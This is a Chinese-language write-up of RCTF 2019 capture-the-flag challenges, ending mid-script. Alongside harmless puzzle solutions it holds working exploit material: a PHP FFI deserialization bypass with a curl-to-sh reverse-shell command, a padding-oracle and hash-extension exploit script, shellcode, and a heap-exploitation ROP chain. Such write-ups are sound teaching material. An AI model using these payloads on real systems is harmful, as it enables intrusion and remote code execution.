内容简介:google找到freenode网页版进入IRC #rctf2019频道,进去赫然写着RCTF{Welcome_To_RCTF2019}根据题目提示,搜索部分代码,返回LOGO语言,下载PC logo语言编译工具,将题目给出命令语句导入编辑器,画出图像,结合题目正则最后得出flag:RCTF_Hey_Logo
Misc
welcome
google找到freenode网页版进入IRC #rctf2019频道,进去赫然写着RCTF{Welcome_To_RCTF2019}
根据题目提示,搜索部分代码,返回LOGO语言,下载PC logo语言编译工具,将题目给出命令语句导入编辑器,画出图像,结合题目正则最后得出flag:RCTF_Hey_Logo
下载附件解压得到encrypt.vmdk,发现为VM虚拟机相关文件,尝试用VM打开,报文件格式错误。然后使用7z提取encrypt.vmdk,得到encrypt.mbr,再提取,得到0.fat。Winhex查看0.fat数据信息,在其中发现大量明文字符串循环,判断应该是“rctf{unseCure_quick_form4t_vo1ume”。
结合题目信息,使用“VeraCrypt”加密文件,而且提供密码为“rctf”。直接使用VeraCrypt挂载0.fat(尝试挂载encrypt.vmdk、encrypt.mbr失败),输入密码,挂载成功,得到“70056639_useless_file_for_ctf_just_ignore_it.jpg”和“password.txt”两个文件。判断jpg无用,而从txt中得到第二个密码“RCTF2019”,结合看到一篇关于VeraCrypt使用方法文档中涉及“明暗双盘符”情况,使用“RCTF2019”再次挂载,得到隐藏盘符,无法打开。使用winhex以FAT32格式加载隐藏盘符,发现明文字“_and_corrupted_1nner_v0lume}”。
与前半段拼接得到flag:rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}
Printer
从pcapng中提取传送到打印机的数据,命令如下:
SET TEAR ON CLS BITMAP 138,75,26,48,1,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÃÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿçÿãÿþÿÿÿÿøÀ<`?À|àðgÿøüÀ?ÿñðOñÿÿÿ?üÿ'üóáÿùÿÿñüÏøÿÿÿ?þþ?øÿïøÿùÿÿñü?ÇüÿÿÿþüÇùÿßüùÿÿñüãüÿÿþüÿçñÿü?ùÿÿÇñüãþ?ÿÿþøÿçñÿ¿þ?ùÿÿÇñüãþ?ÿÿþøÿçáÿ?þ?ùÿÿãñüãÿÿÿGþøÿçãÿþùÿÿãñüóÿÿÿGþùÿçãÿÿÿÿùÿÿññüóÿÿÿcþùÿçñÿÿÿÿùÿÿññüóÿÁÿÿcþùÿçñÿÿÿÿùÿÿññüãÿãÿÿqþùÿçñÿÿÿÿùÿÿøñüãÿçÿÿqþøÿçøÿÿÿÿùÿÿøñüãÿÏÿÿxþøÿçüÿÿÿÿùÿÿüaüçÿÿÿxþøÿÇþ?ÿÿÿùÿÿüAüÇÿ?ÿÿ|~üÿÇÿÿÿÿñÿÿþü?ÿÿÿ|~ü§ÿÿÿÿéÿÿþ1üþÿÿ~>þ>gþ?ÿÿÿÿÿÿ1ü@?àÿÿ~>ÿàüÿÿÿÀ9ÿÿþqüyÿÿÿÿÿÿóïøÿÿÿÿðùÿÿþñüÿÿÿÿÿÿÿÿøÿÿÿÿÿùÿÿüñüÿÿÿÿÿÿÿÿøÿÿÿþÿùÿÿùñüÿÿÿÿÿÿÿÿøÿþ?ÿùÿÿûñüÿÿÿÿÿÆÿÿÿøÿ?þ?ÿùÿÿ÷ñüÿÿÿÿÿÂÿÿÿøÿ¿üÿùÿÿçñüÿÿÿÿÿâÿÿÿøÿüÿùÿÿÏñüÿÿÿÿÿðÿÿÿüÿøÿÿùÿÿñüÿÿÿÿÿðÿÿÿüñÿÿùÿÿðü?ÿÿÿÿþøÿÿÿþãÿÿøÿüÀ<ÿÿÿàxø?ÿÿÿÿøÿÿø?ÿÿÿýÿÿÿÿ?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ BITMAP 130,579,29,32,1,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÇÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþ8ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùÿ?ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùÿ?ÿÿÿÿÿÿþûÿÇÿÿÿáÿøÿÿÿü?ÿÿÿÿùÿ?øÿÿÿÿÿþûÿ9ÿç/ÿÿóÃüÿÿø~xF??ðþ{þþÿ÷ÿ??ÿÿïóÿ¿ÿÿüú?ûÿþþqüþ÷ÿÏÿÿïûÿ¿ÿÿÿÀ~ûÿþÿüqùÿ?÷þÿ?Ïÿÿïûÿ¿ÿÿÿþ~ûÿþÿýuùÿ?÷ÿÿÏ?Ïÿÿçÿÿ¿ÿÿÿþ~ûÿþÿý5ùÿ?÷ÿÿÏ?Ïÿÿãÿÿ¿ÿÿÿþûÿþÿý,ùÿ?÷ÿÿÏ?Ïÿÿðÿ¿ÿÿÿ|þ?ûÿþÿû,ùÿ?÷þ?Ïÿÿüÿ¿ÿÿþ~~|ûÿþÿû¬ùÿ?÷þÏ?Ïÿÿÿÿ¿ÿÿþ~~ÿûÿþÿûùÿ?÷þÏ?Ïÿÿÿçÿ¿ÿÿþþ~ÿûÿþÿûyÿ?÷þ?Ïÿÿïóÿ¿ÿÿþþ~ûÿþÿ÷|þ÷ÿ?ÿÿïóÿ¿ÿÿþ~ûÿþ÷~üÿ÷ÿ??ÿÿç÷ÿ¿ÿÿò~ÿ??ûÿþã?9ÿ÷ÿÎÀOÿÿáÏÿÿÿðÿûÿþÿÿÿÇÿ÷ÿñÿûÏÿÿî?ÿÿÿûçÿáÿûÿàÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûÿþÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿÿûþ~ÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿ?ÿÿÿÿÿÿÿûþ~ÿÿÿÿÿÿÿ÷ÿÿÿÿÏÿÿÿÿÿÿÿÿÿÿÿÿûþ|ÿÿÿÿÿÿÿð?ÿÿÿÃÿÿÿÿÿÿÿÿÿÿÿÿøÿÿÿÿÿÿÿóÿÿÿÿÏÿÿÿÿÿ¿ÿÿÿÿÿÿÿùÿÿÿ BAR 348, 439, 2, 96 BAR 292, 535, 56, 2 BAR 300, 495, 48, 2 BAR 260, 447, 2, 88 BAR 204, 447, 56, 2 BAR 176, 447, 2, 96 BAR 116, 455, 2, 82 BAR 120, 479, 56, 2 BAR 44, 535, 48, 2 BAR 92, 455, 2, 80 BAR 20, 455, 72, 2 BAR 21, 455, 2, 40 BAR 21, 495, 24, 2 BAR 45, 479, 2, 16 BAR 36, 479, 16, 2 BAR 284, 391, 40, 2 BAR 324, 343, 2, 48 BAR 324, 287, 2, 32 BAR 276, 287, 48, 2 BAR 52, 311, 48, 2 BAR 284, 239, 48, 2 BAR 308, 183, 2, 56 BAR 148, 239, 48, 2 BAR 196, 191, 2, 48 BAR 148, 191, 48, 2 BAR 68, 191, 48, 2 BAR 76, 151, 40, 2 BAR 76, 119, 2, 32 BAR 76, 55, 2, 32 BAR 76, 55, 48, 2 BAR 112, 535, 64, 2 BAR 320, 343, 16, 2 BAR 320, 319, 16, 2 BAR 336, 319, 2, 24 BAR 56, 120, 24, 2 BAR 56, 87, 24, 2 BAR 56, 88, 2, 32 BAR 224, 247, 32, 2 BAR 256, 215, 2, 32 BAR 224, 215, 32, 2 BAR 224, 184, 2, 32 BAR 224, 191, 32, 2 BAR 272, 311, 2, 56 BAR 216, 367, 56, 2 BAR 216, 319, 2, 48 BAR 240, 318, 2, 49 BAR 184, 351, 2, 16 BAR 168, 351, 16, 2 BAR 168, 311, 2, 40 BAR 152, 351, 16, 2 BAR 152, 351, 2, 16 PRINT 1,1
有用的就是BITMAP和BAR,作用如下:
根据这个命令写脚本画出图形即可。
bar脚本
a=[348, 439, 2, 96, 292, 535, 56, 2, 300, 495, 48, 2, 260, 447, 2, 88, 204, 447, 56, 2, 176, 447, 2, 96, 116, 455, 2, 82, 120, 479, 56, 2, 44, 535, 48, 2, 92, 455, 2, 80, 20, 455, 72, 2, 21, 455, 2, 40, 21, 495, 24, 2, 45, 479, 2, 16, 36, 479, 16, 2 , 284, 391, 40, 2, 324, 343, 2, 48, 324, 287, 2, 32, 276, 287, 48, 2, 52, 311, 48, 2, 284, 239, 48, 2, 308, 183, 2, 56, 148, 239, 48, 2, 196, 191, 2, 48, 148, 191, 48, 2, 68, 191, 48, 2, 76, 151, 40, 2, 76, 119, 2, 32, 76, 55, 2, 32, 76, 55, 48, 2, 112, 535, 64, 2, 320, 343, 16, 2, 320, 319, 16, 2, 336, 319, 2, 24, 56, 120, 24, 2, 56, 87, 24, 2, 56, 88, 2, 32, 224, 247, 32, 2, 256, 215, 2, 32, 224, 215, 32, 2 , 224, 184, 2, 32, 224, 191, 32, 2, 272, 311, 2, 56, 216, 367, 56, 2, 216, 319, 2, 48, 240, 318, 2, 49, 184, 351, 2, 16, 168, 351, 16, 2, 168, 311, 2, 40, 152, 351, 16, 2, 152, 351, 2, 16] b = [[1 for j in range(550)] for i in range(400)] for i in range(len(a)/4): j=i*4 x=a[j] y=a[j+1] n=a[j+2] m=a[j+3] for p in range(n): for q in range(m): b[x+p][y+q]=0 #print a[j],a[j+1],a[j+2],a[j+3] f1=open("png.txt",'w') for j in range(550): for i in range(400): if b[399-i][549-j] !=1: f1.write("*") else: f1.write('_') f1.write('n') f1.close()
bitmap的脚本
import re from PIL import Image with open('bitmap','r') as f: bit = f.read() def bb(bit): s = re.findall('(.{2})',bit) return ''.join([chr(int('0x'+i,16)) for i in s]) bit = bb(bit).split('BITMAP ') bit = bit[::-1] bit.pop() b = bit[0][len('130,579,29,32,1,'):] c = bit[0][:len('130,579,29,32,1,')] c = c.split(',') x = c[0] y = c[1] width = int(c[2]) height = int(c[3]) print width,height print width*height,len(b) cc = 0 s = '' for i in b: n = ord(i) a = bin(n) a=a.replace('0b','') while (len(a) < 8): a = '0'+a s += a cc+=1 if cc % width == 0: s+='n' with open('bmp1','w') as f: f.write(s) b = bit[1][len('138,75,26,48,1,'):] b = b[:-2] c = bit[1][:len('138,75,26,48,1,')] c = c.split(',') x = c[0] y = c[1] width = int(c[2]) height = int(c[3]) print width,height print width*height,len(b) cc = 0 s = '' for i in b: n = ord(i) a = bin(n) a=a.replace('0b','') while (len(a) < 8): a = '0'+a s += a cc+=1 if cc % width == 0: s+='n' with open('bmp2','w') as f: f.write(s)
生成图片内容:
就可以的得到flag
Web
nextphp
题目的环境是 php 7.4.0-dev,增加了一些特性,比如preload、FFI、__serialize序列化等。需要绕过open_basedir和disable_function,需要使用PHP 7.4的新特性才可以绕过。
FFI可以在调用外部的函数,可以绕过上面的限制,但是本身调用FFI的时候是有条件的,需要在preload中执行,这就需要调用preload.php的类,
设置func为 FFI::cdef
,调用 int system(const char *command);
来执行系统命令,如下:
final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => "FFI::cdef", 'arg' => "int system(const char *command);" ]; }
生成序列化串:
C:1:%22A%22:95:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:32:%22int%20system(const%20char%20*command);%22;}}
构造执行回连的命令
a=$b=unserialize($_GET[b]);var_dump($b);var_dump($b->__get(‘ret’)->system(‘curl https://shell.now.sh/ <IP>|sh’));phpinfo();
然后执行就可以直接getshell,得到flag
Reverse
babyre1
通过输入一个16字节字符串,每两位为一组,合成8字节hex串。
将8字节hex串进行xtea解密,得到的结果v8进行crc16,答案为27106则正确。
在正确的情况下,v8^0x17为Bingo!,如下图所示
根据这个思路,可以反向写出结果。因为Bingo!为6字节,所以xtea的解密结果需要补全两位,从程序中发现加密算法,发现补全的为0x20。
得到最终flag
babyre2
这道题输入username,password,data三部分,username和key进行xtea解密,password和data进行按位取值操作,最终结果只需满足加密结果最后一位<0x04就行。
根据题意,确定一个满足条件的password和data,对username进行爆破。
爆破结果 aaaaaaaaaax01x0b
DontEatMe
输入经BLOWFISH解密,密钥使用“fishFISH”经过简单运算得到最终密钥{ 0x00,0x0f,0x1a,0x01,0x35,0x3a,0x3b,0x20 },得到的明文刚好是迷宫的路径。
迷宫地图是固定的,如下:
1111111111111111
1000000000111111
1011111110111111
1011111110111111
1011110000000111
1011110111110111
1011110111110111
1011110000110111
1011111110110111
1011111110110111
1000000000110111
1111101111110111
1111100000000111
1111111111111111
1111111111111111
1111111111111111
正确的路径应该由地图坐标0xA5走到0x49,还原成字符串为:ddddwwwaaawwwddd,使用BLOWFISH加密可得flag为:db824ef8605c5235b4bbacfa2ff8e087
Crypto
baby_crypto
分析
查看程序功能,可以看出程序首先会让我们输入用户密码,然后得到cookie和cookie的加盐哈希。之后要求输入 iv+cookie+hash
,解析cookie如果包含 ;admin:1
且验证 sha1(cookie)==hash
通过就能得到flag。
思路
首先hash验证部分可以使用hash长度扩展攻击通过。分别输入用户 aaaaaaaaaa
密码 bbbbbbbbbb
·,则已知 sha1(salt+“admin:0;username:aaaaaaaaaa;password:bbbbbbbbbb”)
的值,使用 hashpumpy
可以得到 "admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08"
的带salt的sha1。
hash_ext = hashpumpy.hashpump('e998919db7d91e831e0382060e8d5b4742458af2', cookie_text, ';admin:1', 16) print(hash_ext)
之后就是构造出一组密文,AES解密能得到 "admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08"
明文。由于加解密采用CBC模式,并且程序提供一个循环输入功能,而且在AES解密后会判断是否正常填充。所以可以使用 Padding oracle attack
,分组逐字节爆破密文,最后一组密文可以直接异或得到,所以需要爆破7组,每组16字节长,最多需要 260*16*7=28672
次。
exp
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import time debug = 0 # p = process("./crypto.py") # nc 207.148.68.109 20000 p = remote("45.76.208.70",20000) # p = remote("207.148.68.109",20000) if debug: context.log_level = "debug" p.sendlineafter("name:n","a"*10) p.sendlineafter("word:n","b"*10) p.recvuntil("cookie:n") text = p.recvuntil("n")[:-1] # print text sha1 = text[-40:] print("sha1:",sha1) c7 = text[-72:-40] c6 = text[-104:-72] print("c7:",c7) result = "admin:0;username:aaaaaaaaaa;password:bbbbbbbbbbx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01xf8;admin:1x08x08x08x08x08x08x08x08" re = [] for i in range(len(result)/16): re.append(result[16*i:16*(i+1)]) m1 = ";admin:1x08x08x08x08x08x08x08x08" m2 = "word:bbbbbbbbbbx01" c6 = int(m1.encode("hex"),16)^int(m2.encode("hex"),16)^int(c6,16) c6 = str(hex(c6)[2:]) c6 = "0"*(16-len(c6))+c6 print ("c6:",c6) p.sendlineafter("cookie:n",c6*2+c7+sha1) def oracle_app(c6,sha1): a = [] for _ in range(16): a.append("61") for j in range(16): for i in range(0x100): print(j,i,) a[15-j]=str(hex(i)[2:]) a[15-j] = "0"*(2-len(a[15-j]))+a[15-j] test_c5 = "" for n in range(16): test_c5 += a[n] p.sendlineafter("cookie:n",test_c5*2+c6+sha1) message = p.recvuntil("n")[:-1] if message !="Invalid padding": if j!=15: a[15-j] = str(hex((j+1)^(j+2)^i)[2:]) a[15-j] = "0"*(2-len(a[15-j]))+a[15-j] # print a[15-j] for k in range(j): a[15-k] = str(hex(int(a[15-k],16)^(j+1)^(j+2))[2:]) a[15-k] = "0"*(2-len(a[15-k]))+a[15-k] break c5 = "" for n in range(16): c5 += a[n] return c5 c5 = oracle_app(c6,sha1) c5 = int(c5,16)^int(re[6].encode("hex"),16)^int(("x10"*16).encode("hex"),16) c5 = hex(c5)[2:] c5 = "0"*(32-len(c5))+c5 print c5 c4 = oracle_app(c5,sha1) c4 = int(c4,16)^int(re[5].encode("hex"),16)^int(("x10"*16).encode("hex"),16) c4 = hex(c4)[2:] c4 = "0"*(32-len(c4))+c4 print c4 c3 = oracle_app(c4,sha1) c3 = int(c3,16)^int(re[4].encode("hex"),16)^int(("x10"*16).encode("hex"),16) c3 = hex(c3)[2:] c3 = "0"*(32-len(c3))+c3 print c3 c2 = oracle_app(c3,sha1) c2 = int(c2,16)^int(re[3].encode("hex"),16)^int(("x10"*16).encode("hex"),16) c2 = hex(c2)[2:] c2 = "0"*(32-len(c2))+c2 print c2 c1 = oracle_app(c2,sha1) c1 = int(c1,16)^int(re[2].encode("hex"),16)^int(("x10"*16).encode("hex"),16) c1 = hex(c1)[2:] c1 = "0"*(32-len(c1))+c1 print c1 c0 = oracle_app(c1,sha1) c0 = int(c0,16)^int(re[1].encode("hex"),16)^int(("x10"*16).encode("hex"),16) c0 = hex(c0)[2:] c0 = "0"*(32-len(c0))+c0 print c0 iv = oracle_app(c0,sha1) iv = int(iv,16)^int(re[0].encode("hex"),16)^int(("x10"*16).encode("hex"),16) iv = hex(iv)[2:] iv = "0"*(32-len(iv))+iv print iv+c0+c1+c2+c3+c4+c5+c6+c7 # p.sendlineafter("cookie:n",c6*2+c7+sha1) p.interactive()
Pwn
Shellcoder
这题允许输入7个字节的 shellcode
,我们首先使用 read
的系统调用,读入更多可执行的 shellcode
:
sc = asm(''' mov dh,0xf xchg rsi,rdi syscall ''')
然后,由于不能直接使用 shellcode
起 shell
,我们编写了利用 getdents
系统调用,递归查找 flag
文件的 shellcode
。最后打印出flag文件的内容。完整的利用脚本如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from time import sleep import base64 context(os='linux', arch='amd64') context.log_level = 'debug' IS_DEBUG = 0 prog = './shellcoder' if IS_DEBUG: r = process(prog) # r = process(prog, env={'LD_PRELOAD':'../libc/libc-2.28.so'}) else: r = remote('139.180.215.222', 20002) elf = ELF(prog) libc = elf.libc def my_u64(byte_arr): padding = b'x00' * (8-len(byte_arr)) res = byte_arr + padding return struct.unpack('<Q', res)[0] # gdb.attach(r, 'b *0x5555555544c7nc') sc = asm(''' mov dh,0xf xchg rsi,rdi syscall ''') print('len_sc: %d' %len(sc)) r.sendafter(':', sc) shellcode = asm(''' init: mov r15, rsi lea rbp, [r15+0x3900] lea rdi, [r15+0x300] mov rsi, 0 find_dir: sub rbp, 0x320 mov [rbp-0x30], rdi mov [rbp-0x40], rsi mov rsi, 0x10000 mov rdi, [rbp-0x30] mov rax, 2 syscall mov [rbp-0x28], rax chdir: mov rdi, [rbp-0x30] mov rax, 80 syscall getdents: mov rdi, [rbp-0x28] lea rsi, [rbp-0x300] mov rdx, 0x400 mov rax, 0x4e syscall mov [rbp-8], rax cmp rax, 0 jz out_loop1 xor r8, r8 mov [rbp-0x10], r8 loop2: mov eax, [rbp-0x10] cmp eax, [rbp-8] jl print_filename jmp getdents print_filename: mov eax, [rbp-0x10] cdqe lea rdx, [rbp-0x300] add rax, rdx mov [rbp-0x18], rax add rax, 0x12 mov [rbp-0x20], rax d_type: mov eax, [rbp-0x10] movsxd rdx, eax mov rax, [rbp-0x18] movzx eax, word ptr [rax+0x10] movzx eax, ax add rax, rdx lea rdx, [rax-1] lea rax, [rbp-0x300] add rax, rdx movzx eax, byte ptr [rax] mov [rbp-0x38], al update_bpos: mov rax, [rbp-0x18] movzx eax, word ptr [rax+0x10] movzx eax, ax add [rbp-0x10], eax cmp_dir: mov rax, [rbp-0x20] mov rax, [rax] find_flag: cmp eax, 0x67616c66 jnz cmp_parent mov rsi, 0x60 lea rdi, [r15+0x500] mov rax, 79 syscall print_cwd: mov rdi, 1 lea rsi, [r15+0x500] mov rdx, 0x60 mov rax, 1 syscall exit: mov rax, 60 syscall cmp_parent: cmp al, 0x2e jz loop2 mov r8, [rbp-0x38] cmp r8, 4 jnz loop2 digui: mov eax, [rbp-0x40] lea edx, [rax+1] mov rax, [rbp-0x20] mov esi, edx mov rdi, rax call find_dir jmp loop2 out_loop1: lea rdi, [r15+0x320] mov rax, 80 syscall mov rdi, [rbp-0x28] mov rax, 3 syscall add rbp, 0x320 ret ''') read_sc = asm(''' init: mov r15, rsi lea rbp, [r15+0x3900] lea rdi, [r15+0x300] mov rsi, 0 open: mov rax, 2 syscall mov [rbp-0x20], rax read: mov rdx, 0x20 lea rsi, [r15+0x500] mov rdi, [rbp-0x20] mov rax, 0 syscall write: mov rdi, 1 lea rsi, [r15+0x500] mov rdx, 0x20 mov rax, 1 syscall exit: mov rax, 60 syscall ''') # find flag # r.sendline(('a'*7+shellcode).ljust(0x300,'x90')+ # './flag'.ljust(0x10,'x00')+ # '.'.ljust(0x10,'x00')+ # '..'.ljust(0x10,'x00')+ # 't'.ljust(0x10,'x00')+ # 'n'.ljust(0x10,'x00')) # r15+0x340 # read flag cwd = '/flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9' r.sendline(('a'*7+read_sc).ljust(0x300,'x90')+ '%s/flagx00'%cwd) r.interactive()
babyheap
分析
- 程序edit功能有一个off-by-null漏洞
- 通过off-by-null漏洞攻击方法可以构造一个重叠的堆块,能够控制已经释放的堆块
- 利用程序show功能泄露libc地址、堆地址
- 通过unsortbin攻击可以修改global_max_fast为很大的数,可以进行fastbin attack
- 通过fastbin attack修改free_hook为printf函数
- 通过修改后的free功能调用printf函数的格式化字符串漏洞泄露程序地址、栈地址
- 通过fastbin attack修改程序全局指针指向已控制的堆块,里面的指针可以任意修改,可以任意地址读写
- 通过edit功能在栈上构造open、read、write的rop,edit函数返回时就执行rop读取输出flag
exp
#!/usr/bin/env python # -*- coding: utf-8 -*- #version 6 by tempo from pwn import * from fmt64_payload import * context.log_level = "debug" proc_name = 'babyheap.bak' libc_name = './libc-2.23.so' #'/lib/x86_64-linux-gnu/libc-2.23.so' ip_addr = "123.206.174.203:20001" #/lib32/libc-2.23.so local = 0 #-------------------no change this---------------------- elf = ELF('./{}'.format(proc_name)) if local: if len(libc_name) ==0: r = process('./{}'.format(proc_name)) libc = r.libc else: r = process('./{}'.format(proc_name), env = {"LD_PRELOAD": libc_name}) libc = ELF(libc_name) #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') else: r=remote(ip_addr.split(":")[0],ip_addr.split(":")[1]) libc = ELF(libc_name) #------------------------------------------------ def add(size): r.sendlineafter("Choice","1") r.sendlineafter("Size",str(size)) def edit(index,content): r.sendlineafter("Choice","2") r.sendlineafter("Index",str(index)) r.sendafter("Content",str(content)) def free(index): r.sendlineafter("Choice","3") r.sendlineafter("Index",str(index)) def show(index): r.sendlineafter("Choice","4") r.sendlineafter("Index",str(index)) # gdb.attach(r) add(0x18) #0 add(0x500) #1 edit(1,p64(0x500)*(0x500/8)) add(0x80) #2 add(0x18) #3 #用于和top_chunk分开 free(1) edit(0,'a'*0x18) add(0x30) #1 add(0x80) #4 add(0x420) #5 free(1) free(2) #chunk shrink #现在4和5是重合的,可以通过5修改这个0x430大小的堆块 add(0x30) #1 #show泄露地址 show(4) r.recv(2) libc.address = u64(r.recvline(False).ljust(8,'x00')) -0x7ffff7dd1b78 + 0x7ffff7a0d000 success("libc_addr => "+hex(libc.address)) add(0x10) #2 add(0x10) #6 add(0x10) #7 free(7) free(2) show(4) r.recv(2) heap_addr = u64(r.recvline(False).ljust(8,'x00')) - 0x5555557570a0 + 0x0000555555757000 success("heap_addr => "+hex(heap_addr)) free(6) add(0x90) #2 #通过unsortbin attack修改global_max_fast为一个很大的值main_arena+0x58 max_addr = libc.address - 0x7ffff7a0d000 + 0x7ffff7dd37f8 add(0x20) #6 和5是同一块 add(0x60) #7 add(0x410) #8 free(6) payload = p64(0)+ p64(0x31) + p64(0) +p64(max_addr-0x10) edit(5,payload) add(0x20) #6 # 通过fastbin_attack修改free_hook为prinf free_hook = libc.sym['__free_hook'] fake_addr = free_hook -0x108b-8 free(7) payload = p64(0)+ p64(0x31) + 'x00'*0x20 payload += p64(0) +p64(0x71) + p64(fake_addr) edit(5,payload) add(0x60) #7 add(0x60) #9 用来伪造size,在free_hook上方 payload = 'x00'*3 + 'x00'*0x48+ p64(0x421) edit(9,payload) fake_addr = fake_addr+0x53 free(8) payload = p64(0)+ p64(0x31) + 'x00'*0x20 payload += p64(0) + p64(0x71) + 'x00'*0x60 payload += p64(0) + p64(0x421) + p64(fake_addr) edit(5,payload) #修改0x880chunk的fd add(0x410) #8 add(0x410) #10 payload = 'x00'*0x400 + p64(0) +p64(0x421) edit(10,payload) free(8) free(7) fake_addr = fake_addr+0x410 payload = p64(0)+ p64(0x31) + 'x00'*0x20 payload += p64(0) + p64(0x71) + 'x00'*0x60 payload += p64(0) + p64(0x421) + p64(fake_addr) edit(5,payload) #修改0x420chunk的fd add(0x410) #7 add(0x410) #8 这个块可以控制free_hook payload = 'x00'*0x400 + p64(0) +p64(0x421) edit(8,payload) free(7) fake_addr = fake_addr+0x410 payload = p64(0)+ p64(0x31) + 'x00'*0x20 payload += p64(0) + p64(0x71) + 'x00'*0x60 payload += p64(0) + p64(0x421) + p64(fake_addr) edit(5,payload) #修改0x420chunk的fd add(0x410) #7 add(0x410) #11 payload = 'x00'*0x400 + p64(0) +p64(0x421) edit(11,payload) free(7) fake_addr = fake_addr+0x410 payload = p64(0)+ p64(0x31) + 'x00'*0x20 payload += p64(0) + p64(0x71) + 'x00'*0x60 payload += p64(0) + p64(0x421) + p64(fake_addr) edit(5,payload) #修改0x420chunk的fd add(0x410) #7 add(0x410) #12 printf_addr = libc.sym['printf'] payload = 'x00'*0x400 + p64(printf_addr) #free_hook_value edit(12,payload) #通过printf格式化字符串漏洞泄露栈地址 edit(2,'%p '*0x40) free(2) r.recv() res = r.recv().split(' ') elf_addr = int(res[0],16) - 0x5555555552c2 + 0x555555554000 stack_addr = int(res[2],16) - 0x7fffffffed00 + 0x7ffffffde000 canary = int(res[16],16) success("elf_addr => "+hex(elf_addr)) success("stack_addr => "+hex(stack_addr)) success("canary => "+hex(canary)) r.sendline() #修改程序中全局指针 fake_addr = elf_addr - 0x555555554000 + 0x5555557560fd payload = p64(0)+ p64(0x31) + 'x00'*0x20 payload += p64(0) +p64(0x71) + p64(fake_addr) edit(5,payload) add(0x60) #2 add(0x60) #13 edit(5,p64(heap_addr - 0x0000555555757000+0x00005555557571b0)*0x100) payload = 'x00'*3 + p64(heap_addr - 0x0000555555757000+0x00005555557571b0) edit(13,payload) #下面开始任意地址读写 ret_addr = stack_addr - 0x7ffffffde000 + 0x00007fffffffed48 #这里放堆地址 edit(15,p64(ret_addr)+p64(0x200)) #设置0 为栈地址,用edit编辑 pop_rsp_ret = libc.address + 0x0000000000003838 payload = p64(pop_rsp_ret) + p64(ret_addr+0x10) #通过任意地址写在栈上构造读取flag的rop buf_addr = elf_addr - 0x555555554000 + 0x00005555557561C8 p = '' # fd = open('flag', 0) p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret p += 